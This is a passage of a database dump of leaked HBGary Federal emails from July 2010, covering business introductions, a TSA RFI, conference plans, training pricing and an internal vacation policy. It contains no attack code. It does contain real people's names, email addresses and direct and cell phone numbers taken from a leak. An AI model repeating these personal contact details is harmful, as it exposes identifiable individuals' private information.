<aaron@hbgary.com>','/aaron@hbgary.com/new/1297006932.M397407P14101Q3872.eml','\"andy kemp\" <akemp@apple.com>','Re: Introduction','Excellent! Thanks Andy.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 22, 2010, at 7:24 AM, andy kemp  wrote:\r\n\r\n> http://finance.yahoo.com/news/New-iPad-app-mines-Web-links-apf-4294583321.html?x=0&.v=3\r\n> \r\n> Andy Kemp\r\n> \r\n> Apple Inc.\r\n> 2409883476\r\n> Sent from iPhone \r\n> \r\n> On Jul 20, 2010, at 12:27 AM, Aaron Barr  wrote:\r\n> \r\n>> Hey Andy,\r\n>> \r\n>> Remember the event that I told you about.  It was a lively night.  Apple, the appstore, mobile app development came up on multiple occasions.\r\n>> \r\n>> I met Chris at this event and we had some very lively discussions regarding social media, evolving technology, and threats.  Chris has a very interesting and enterprising background (especially for government).  I think you guys would have a lot to talk about, so I wanted to make the introduction.\r\n>> \r\n>> Talk to you soon.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n',15068,'aaron_hbgary_com/15068.html'),(9018,'2010-07-22','\"andy kemp\" <akemp@apple.com>','/aaron@hbgary.com/new/1297006933.M116540P14101Q3873.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','may want to come to this:\r\n',3651,'aaron_hbgary_com/3651.html'),(9019,'2010-07-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006933.M333482P14101Q3874.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Introduction','We have Andy thinking.AaronSent from my iPhoneBegin forwarded message:From: andy kemp &lt;akemp@apple.com&gt;Date: July 22, 2010 7:24:09 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Introductionhttp://finance.yahoo.com/news/New-iPad-app-mines-Web-links-apf-4294583321.html?x=0&amp;.v=3Andy KempApple Inc.2409883476Sent from iPhone On Jul 20, 2010, at 12:27 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Hey Andy,Remember the event that I told you about. &nbsp;It was a lively night. &nbsp;Apple, the appstore, mobile app development came up on multiple occasions.I met Chris at this event and we had some very lively discussions regarding social media, evolving technology, and threats. &nbsp;Chris has a very interesting and enterprising background (especially for government). &nbsp;I think you guys would have a lot to talk about, so I wanted to make the introduction.Talk to you soon.Aaron BarrCEOHBGary Federal Inc.',16304,'aaron_hbgary_com/16304.html'),(9020,'2010-07-22','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297006933.M560309P14101Q3875.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Tsa and social media','We can catch up then, are you guys considered a small business?\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Solutions Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 21, 2010 5:09 PM\r\nTo: Eifert, Eric J.\r\nSubject: Tsa and social media\r\n\r\nGreat.\r\n\r\nAttached is the TSA RFI.  I will be out until after blackhat.  So anytime after Aug. 1st I can support.\r\n\r\nAaron\r\n\r\n',9923,'aaron_hbgary_com/9923.html'),(9021,'2010-07-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006933.M777822P14101Q3876.eml','\"andy kemp\" <akemp@apple.com>','Re: Introduction','Yes I definitely want to go but we have a booth at blackhat.  We are releasing for free a tool at blackhat that automatically clusters malware based on internal variables such as compiler used, OS, etc.  It works really well and is starting to generate some press already.\r\n\r\nWhen I get back early-mid august I would like to get together and discuss some ideas for combat social networks to submit for OSD JCTD in October.  You will probably tell me someones already doing it.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 22, 2010, at 8:09 AM, andy kemp  wrote:\r\n\r\n> may want to come to this:\r\n> \r\n> \r\n> \r\n> \r\n> On Jul 22, 2010, at 8:07 AM, Aaron Barr wrote:\r\n> \r\n>> Excellent! Thanks Andy.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPhone\r\n>> \r\n>> On Jul 22, 2010, at 7:24 AM, andy kemp  wrote:\r\n>> \r\n>>> http://finance.yahoo.com/news/New-iPad-app-mines-Web-links-apf-4294583321.html?x=0&.v=3\r\n>>> \r\n>>> Andy Kemp\r\n>>> \r\n>>> Apple Inc.\r\n>>> 2409883476\r\n>>> Sent from iPhone\r\n>>> \r\n>>> On Jul 20, 2010, at 12:27 AM, Aaron Barr  wrote:\r\n>>> \r\n>>>> Hey Andy,\r\n>>>> \r\n>>>> Remember the event that I told you about.  It was a lively night.  Apple, the appstore, mobile app development came up on multiple occasions.\r\n>>>> \r\n>>>> I met Chris at this event and we had some very lively discussions regarding social media, evolving technology, and threats.  Chris has a very interesting and enterprising background (especially for government).  I think you guys would have a lot to talk about, so I wanted to make the introduction.\r\n>>>> \r\n>>>> Talk to you soon.\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n> \r\n> Andy Kemp\r\n> Homeland Defense / National Programs\r\n> \r\n> Apple Inc.\r\n> 11921 Freedom Drive\r\n> Suite 600\r\n> Reston, Virginia\r\n> 20194\r\n> \r\n> akemp@apple.com\r\n> 240-988-3476\r\n> \r\n> \r\n> \r\n> \r\n> \r\n',16410,'aaron_hbgary_com/16410.html'),(9022,'2010-07-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006933.M995265P14101Q3877.eml','\"andy kemp\" <akemp@apple.com>','Re: Introduction','Some of the TASC guys will definitely be there.\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 22, 2010, at 8:09 AM, andy kemp  wrote:\r\n\r\n> may want to come to this:\r\n> \r\n> \r\n> \r\n> \r\n> On Jul 22, 2010, at 8:07 AM, Aaron Barr wrote:\r\n> \r\n>> Excellent! Thanks Andy.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPhone\r\n>> \r\n>> On Jul 22, 2010, at 7:24 AM, andy kemp  wrote:\r\n>> \r\n>>> http://finance.yahoo.com/news/New-iPad-app-mines-Web-links-apf-4294583321.html?x=0&.v=3\r\n>>> \r\n>>> Andy Kemp\r\n>>> \r\n>>> Apple Inc.\r\n>>> 2409883476\r\n>>> Sent from iPhone\r\n>>> \r\n>>> On Jul 20, 2010, at 12:27 AM, Aaron Barr  wrote:\r\n>>> \r\n>>>> Hey Andy,\r\n>>>> \r\n>>>> Remember the event that I told you about.  It was a lively night.  Apple, the appstore, mobile app development came up on multiple occasions.\r\n>>>> \r\n>>>> I met Chris at this event and we had some very lively discussions regarding social media, evolving technology, and threats.  Chris has a very interesting and enterprising background (especially for government).  I think you guys would have a lot to talk about, so I wanted to make the introduction.\r\n>>>> \r\n>>>> Talk to you soon.\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n> \r\n> Andy Kemp\r\n> Homeland Defense / National Programs\r\n> \r\n> Apple Inc.\r\n> 11921 Freedom Drive\r\n> Suite 600\r\n> Reston, Virginia\r\n> 20194\r\n> \r\n> akemp@apple.com\r\n> 240-988-3476\r\n> \r\n> \r\n> \r\n> \r\n> \r\n',15709,'aaron_hbgary_com/15709.html'),(9023,'2010-07-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006939.M823065P14101Q3878.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>,\"Kathy Garcia\" <KATHERINE.GARCIA@tasc.com>','Fwd: Introduction','Are you guys going to this?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n> From: andy kemp \r\n> Date: July 22, 2010 8:09:26 AM EDT\r\n> To: Aaron Barr \r\n> Subject: Re: Introduction\r\n> \r\n\r\n> may want to come to this:\r\n> \r\n> \r\n> \r\n> \r\n> On Jul 22, 2010, at 8:07 AM, Aaron Barr wrote:\r\n> \r\n>> Excellent! Thanks Andy.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPhone\r\n>> \r\n>> On Jul 22, 2010, at 7:24 AM, andy kemp  wrote:\r\n>> \r\n>>> http://finance.yahoo.com/news/New-iPad-app-mines-Web-links-apf-4294583321.html?x=0&.v=3\r\n>>> \r\n>>> Andy Kemp\r\n>>> \r\n>>> Apple Inc.\r\n>>> 2409883476\r\n>>> Sent from iPhone\r\n>>> \r\n>>> On Jul 20, 2010, at 12:27 AM, Aaron Barr  wrote:\r\n>>> \r\n>>>> Hey Andy,\r\n>>>> \r\n>>>> Remember the event that I told you about.  It was a lively night.  Apple, the appstore, mobile app development came up on multiple occasions.\r\n>>>> \r\n>>>> I met Chris at this event and we had some very lively discussions regarding social media, evolving technology, and threats.  Chris has a very interesting and enterprising background (especially for government).  I think you guys would have a lot to talk about, so I wanted to make the introduction.\r\n>>>> \r\n>>>> Talk to you soon.\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n> \r\n> Andy Kemp\r\n> Homeland Defense / National Programs\r\n> \r\n> Apple Inc.\r\n> 11921 Freedom Drive\r\n> Suite 600\r\n> Reston, Virginia\r\n> 20194\r\n> \r\n> akemp@apple.com\r\n> 240-988-3476\r\n> \r\n> \r\n> \r\n> \r\n> \r\n',7209,'aaron_hbgary_com/7209.html'),(9024,'2010-07-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006940.M109982P14101Q3879.eml','\"Ted Vera\" <tedvera@me.com>','Re: Check out Flipboard','How do you like it? &nbsp;I &nbsp;going to download it.Sent from my iPhoneOn Jul 21, 2010, at 9:38 PM, Ted Vera &lt;tedvera@me.com&gt; wrote:\r\n\r\n\r\nCheck out this application on the App Store:\r\n\r\n  \r\n    \r\n      \r\n        \r\n      \r\n    \r\n    \r\n      \r\n      Flipboard\r\n      Flipboard Inc.\r\n      \r\n        Category: News\r\n      \r\n      \r\n      \r\n        Updated: Jul 16, 2010\r\n      \r\n      \r\n      \r\n      \r\n        \r\n          \r\n          \r\n          \r\n          \r\n          \r\n        \r\n         529 Ratings\r\n      \r\n      \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      iTunes for Mac and Windows\r\n  \r\n  \r\n    \r\n      Please note that you have not been added to any email lists.\r\n        Copyright © 2010 Apple Inc.\r\n	      All rights reserved\r\n      \r\n    \r\n  \r\n  \r\n\r\n\r\n\r\n',9628,'aaron_hbgary_com/9628.html'),(9025,'2010-07-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006940.M465059P14101Q3880.eml','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','Re: Tsa and social media','Yes.\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 22, 2010, at 8:11 AM, \"Eifert, Eric J.\"  wrote:\r\n\r\n> We can catch up then, are you guys considered a small business?\r\n> \r\n> Eric J. Eifert\r\n> Vice President, Cyber Defense Solutions Business Unit\r\n> ManTech Mission, Cyber and Technology Solutions\r\n> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n> \r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, July 21, 2010 5:09 PM\r\n> To: Eifert, Eric J.\r\n> Subject: Tsa and social media\r\n> \r\n> Great.\r\n> \r\n> Attached is the TSA RFI.  I will be out until after blackhat.  So anytime after Aug. 1st I can support.\r\n> \r\n> Aaron\r\n> \r\n',5487,'aaron_hbgary_com/5487.html'),(9026,'2010-07-22','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006940.M818826P14101Q3881.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>','RE: EXTERNAL:Fwd: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron – I’ve signed us up for it.\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, July 22, 2010 8:15 AM\r\nTo: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: EXTERNAL:Fwd: Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAre you guys going to this?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: andy kemp &lt;akemp@apple.com&gt;\r\nDate: July 22, 2010 8:09:26 AM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmay want to come to this:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6494,'aaron_hbgary_com/6494.html'),(9027,'2010-07-22','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297006941.M26555P14101Q3882.eml','\"Christopher Clair\" <christopher.clair@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: EXTERNAL:Next Week','\r\n\r\nRe: EXTERNAL:Next Week\r\n\r\n\r\nChris - \r\n\r\nOk &#8211; will shoot for Wednesday to Friday. &nbsp;Aaron mentioned he might be back in time for a Friday PM meeting. &nbsp;If that is indeed workable, let&#8217;s shoot for a Thursday night dinner and a Friday meeting. &nbsp;\r\n\r\nTim \r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Christopher Clair &lt;christopher.clair@tasc.com&gt;\r\nDate: Wed, 21 Jul 2010 21:49:57 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: RE: EXTERNAL:Next Week\r\n\r\nHi Tim,\r\n\r\nMonday and Tuesday are bad. &nbsp;The rest of the week is open. &nbsp;I think Aaron will be out of town but we can handle the meeting if necessary. \r\n\r\nDo you have any nights free for that week? &nbsp;We can cook a few steaks and drink a beer or two. &nbsp;Aaron you are welcome to come too. \r\n\r\nLet me know. \r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Tim Riesen [mailto:tjriesen@archimedesglobal.com]\r\nSent: Wed 7/21/2010 9:25 PM\r\nTo: Aaron Barr; Clair, Chris (TASC)\r\nSubject: EXTERNAL:Next Week\r\n\r\nGentlemen -\r\n\r\nDo you have an interest in meeting with the telecom infrastructure people\r\nnext week? \r\n\r\nAaron &#8211; for the McLean for the meeting?\r\n\r\nAaron and Chris &#8211; for the infrastructure piece of the COIN proposal?\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc.\r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15723,'aaron_hbgary_com/15723.html'),(9028,'2010-07-22','\"AFCEA NOVA\" <info@afceanova.org>','/aaron@hbgary.com/new/1297006941.M274334P14101Q3883.eml','aaron@hbgary.com','Register Now - CWID Industry Day','\r\n\r\n  \r\n  \r\nHaving trouble viewing this email?\r\nClick here\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      July\r\n20, 2010\r\n      \r\n      &nbsp;\r\n    \r\n    \r\n      \r\n      \r\n      \r\n      Dear Aaron,\r\n      Are you familiar with the Coalition Warrior\r\nInteroperability Demonstration (CWID)? CWID is an annual event directed\r\nby the Chairman of the Joint Chiefs of Staff that engages cutting-edge\r\ninformation technology, focusing on operational shortfalls identified\r\nby combatant commanders and government agencies. Technologies are\r\napproved for participation because they address a new information\r\nsharing capability or might improve an existing capability. The\r\ndemonstrations -- which take place in various locations worldwide --\r\nfocus on technology discovery, risk reduction, and interoperability.\r\n      Technologies are assessed using real-world inspired\r\nWarfighter, Homeland Security/Homeland Defense and emergency responder\r\nscenarios. During demonstrations, technologies may receive three types\r\nof assessments which include User Utility, Interoperability and\r\nInformation Assurance. Assessment results are captured in CWID\'s annual\r\nfinal report which informs defense, federal, state and local\r\nacquisition decision-makers. It is an excellent opportunity for\r\nIndustry to prove the value their technology can bring to the\r\nWarfighter and position themselves across DoD.\r\n      The CWID 2011 Federal Business Opportunity announcement\r\nhas been published atwww.fbo.gov.\r\nYou can learn everything you need to know about CWID at the upcoming\r\nIndustry Day on August 17, 2010. The one-day event (0800-0430) takes\r\nplace at The Conference Center at the Maritime Institute, 692 Maritime\r\nBlvd, Linthicum Heights, Md., less than five miles from BWI. Register\r\ntoday to attend Industry Day at www.fbcconferences.com/cwid.\r\n      Attending the Industry Day will provide you the\r\nopportunity to learn about:\r\n      \r\n        The CWID process from start to completion\r\n        Making CWID work best for you\r\n        Leveraging CWID as an acquisition tool\r\n        The CWID assessment process\r\n        Industry and Sponsor requirements for CWID\r\n      \r\n      CWID Industry Day will prove a great opportunity to\r\nnetwork with government and industry, and receive first-hand\r\ninformation from a panel of former CWID participants. CWID has had a\r\nbooth at several of our IT Days and wants to work closely with Industry\r\non showing how new technology can help the Warfighter. AFCEA NOVA is\r\nworking with CWID to open the doors to as many companies as possible\r\nwho would like to participate in these demonstrations.\r\n      &nbsp;\r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\nForward email\r\n\r\n\r\n\r\nThis email was sent to aaron@hbgary.com by info@afceanova.org.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe&trade; | Privacy Policy.\r\n\r\nEmail Marketing by\r\n\r\n\r\nAFCEA NOVA | 400 North Washington St | Ste 300 | Alexandria | VA | 22314\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1888,'aaron_hbgary_com/1888.html'),(9029,'2010-07-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006941.M574333P14101Q3884.eml','\"Ted Vera\" <ted@hbgary.com>','Money','I  not going to make it.  I need to expense or get my unpaid check or something.  Traveling and bill are making mr broke.\r\n\r\nAaron\r\n\r\nSent from my iPhone',12990,'aaron_hbgary_com/12990.html'),(9030,'2010-07-22','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006941.M816740P14101Q3885.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Check out Flipboard','Eh, I deleted it.&nbsp;On Jul 22, 2010, at 6:15 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:How do you like it? &nbsp;I &nbsp;going to download it.Sent from my iPhoneOn Jul 21, 2010, at 9:38 PM, Ted Vera &lt;tedvera@me.com&gt; wrote:\r\n\r\n\r\nCheck out this application on the App Store:\r\n\r\n  \r\n    \r\n      \r\n        \r\n      \r\n    \r\n    \r\n      \r\n      Flipboard\r\n      Flipboard Inc.\r\n      \r\n        Category: News\r\n      \r\n      \r\n      \r\n        Updated: Jul 16, 2010\r\n      \r\n      \r\n      \r\n      \r\n        \r\n          \r\n          \r\n          \r\n          \r\n          \r\n        \r\n         529 Ratings\r\n      \r\n      \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      iTunes for Mac and Windows\r\n  \r\n  \r\n    \r\n      Please note that you have not been added to any email lists.\r\n        Copyright © 2010 Apple Inc.\r\n	      All rights reserved\r\n      \r\n    \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n',10374,'aaron_hbgary_com/10374.html'),(9031,'2010-07-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006942.M266963P14101Q3887.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: TMC Demo','---------- Forwarded message ----------From: Phil Wallisch &lt;phil@hbgary.com&gt;Date: Thu, Jul 22, 2010 at 9:51 AM\r\nSubject: Re: TMC DemoTo: Ted Vera &lt;ted@hbgary.com&gt;Yeah Monday would be great.  I&#39;m up against Truman and fireeye at Morgan.\r\nSent from my iPhoneOn Jul 22, 2010, at 11:25, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Phil,I just tried calling your extension but got your voicemail.  Yes, we&#39;ll be able to do one soon.  Currently there really isn&#39;t a front end, which is one of our top priorities for development.  We have a fully functional TMC here in the Lab in Colorado Springs now.  We could probably do a webex early next week if you&#39;d like to see it&#39;s current state and capabilities.\r\n\r\nTedOn Wed, Jul 21, 2010 at 6:33 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\nTed,Can I get a demo of what the TMC has to offer soon?-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\nCell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',9076,'aaron_hbgary_com/9076.html'),(9032,'2010-07-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006942.M29575P14101Q3886.eml','\"Ted Vera\" <tedvera@me.com>','Re: Check out Flipboard','Cool concept though. &nbsp;Maybe use it later. &nbsp;I will call in a bit. &nbsp;At airport.Sent from my iPhoneOn Jul 22, 2010, at 10:24 AM, Ted Vera &lt;tedvera@me.com&gt; wrote:Eh, I deleted it.&nbsp;On Jul 22, 2010, at 6:15 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:How do you like it? &nbsp;I &nbsp;going to download it.Sent from my iPhoneOn Jul 21, 2010, at 9:38 PM, Ted Vera &lt;tedvera@me.com&gt; wrote:\r\n\r\n\r\nCheck out this application on the App Store:\r\n\r\n  \r\n    \r\n      \r\n        \r\n      \r\n    \r\n    \r\n      \r\n      Flipboard\r\n      Flipboard Inc.\r\n      \r\n        Category: News\r\n      \r\n      \r\n      \r\n        Updated: Jul 16, 2010\r\n      \r\n      \r\n      \r\n      \r\n        \r\n          \r\n          \r\n          \r\n          \r\n          \r\n        \r\n         529 Ratings\r\n      \r\n      \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      iTunes for Mac and Windows\r\n  \r\n  \r\n    \r\n      Please note that you have not been added to any email lists.\r\n        Copyright © 2010 Apple Inc.\r\n	      All rights reserved\r\n      \r\n    \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n',14623,'aaron_hbgary_com/14623.html'),(9033,'2010-07-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006942.M516278P14101Q3888.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: TMC Demo','We need to get him a demo of fidelis. &nbsp;The integration beats them both.Sent from my iPhoneOn Jul 22, 2010, at 11:54 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:---------- Forwarded message ----------From: Phil Wallisch &lt;phil@hbgary.com&gt;Date: Thu, Jul 22, 2010 at 9:51 AM\r\nSubject: Re: TMC DemoTo: Ted Vera &lt;ted@hbgary.com&gt;Yeah Monday would be great. &nbsp;I\'m up against Truman and fireeye at Morgan.\r\nSent from my iPhoneOn Jul 22, 2010, at 11:25, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Phil,I just tried calling your extension but got your voicemail. &nbsp;Yes, we\'ll be able to do one soon. &nbsp;Currently there really isn\'t a front end, which is one of our top priorities for development. &nbsp;We have a fully functional TMC here in the Lab in Colorado Springs now. &nbsp;We could probably do a webex early next week if you\'d like to see it\'s current state and capabilities.\r\n\r\nTedOn Wed, Jul 21, 2010 at 6:33 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\nTed,Can I get a demo of what the TMC has to offer soon?-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\nCell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog: &nbsp;https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',5964,'aaron_hbgary_com/5964.html'),(9034,'2010-07-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006942.M866959P14101Q3889.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','DigitalGlobe','Hi Maria,Our discussion with Brian went well yesterday.  He is interested in our Social Media training.  He would like a quote for three classes, one class a day for three consecutive days.  He anticipates 20 per class, but it could go up to as many as 50 per class.  Aaron and I had $750-$1000 per student in mind for &quot;normal&quot; pricing on this class.\r\nFor Brian, we are thinking about sending a quote for $30,000.00.  $500/student, 3 classes, 20 students per class.  We will note on the estimate that we&#39;ll keep a headcount/sign-in roster and if more than 20 show we will charge $500 for each additional student.\r\nWhat do you think of this pricing?  Too high? Too low?  Do you think it is in line with Brian&#39;s budget?  Also, we never fully discussed your commission.  What are your expectations, what is standard commission for training?\r\nThanks for the introduction and your help.Regards,Ted\r\n',6783,'aaron_hbgary_com/6783.html'),(9035,'2010-07-22','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006943.M108246P14101Q3890.eml','all@hbgary.com','Vacation Requests','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary is getting to a point where we are busy, we are\r\ngrowing, and there is more demand for our products.&nbsp; This is good\r\nnews.&nbsp; The bad news is that vacation requests now need to be made in a\r\nformal manner.&nbsp; Per the employee handbook, you need to request vacation time\r\nfrom your manager and the manager has the right to approve or not approve\r\ndepending on staffing resources. &nbsp;&nbsp;You can&#8217;t assume if you put\r\nit on the calendar the request will be approved.&nbsp; In addition, DeeAnn\r\nkeeps the company calendar so you need to inform DeeAnn once your vacation has\r\nbeen approved of your dates.&nbsp; She will have this on the corporate calendar\r\nso that everyone knows when you are gone.&nbsp; \r\n\r\n&nbsp;\r\n\r\nI know this is somewhat new for those of you that have been\r\naround for awhile, but we need to do this to ensure coverage.&nbsp; We are hiring\r\nas fast as we find good candidates, so expect to see a few more new faces soon.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4799,'aaron_hbgary_com/4799.html'),(9036,'2010-07-22','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006943.M361860P14101Q3891.eml','all@hbgary.com','NEED FREE TOOL WRITE-UPS BY 2 PM',' \r\nTeam,\r\nI need those write ups, now.  I need the signed binaries for all of shawns tools, and the source+unsigned binary package we plan for fingerprint.\r\n \r\n-Greg\r\n',8216,'aaron_hbgary_com/8216.html'),(9037,'2010-07-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006943.M587312P14101Q3892.eml','\"Greg 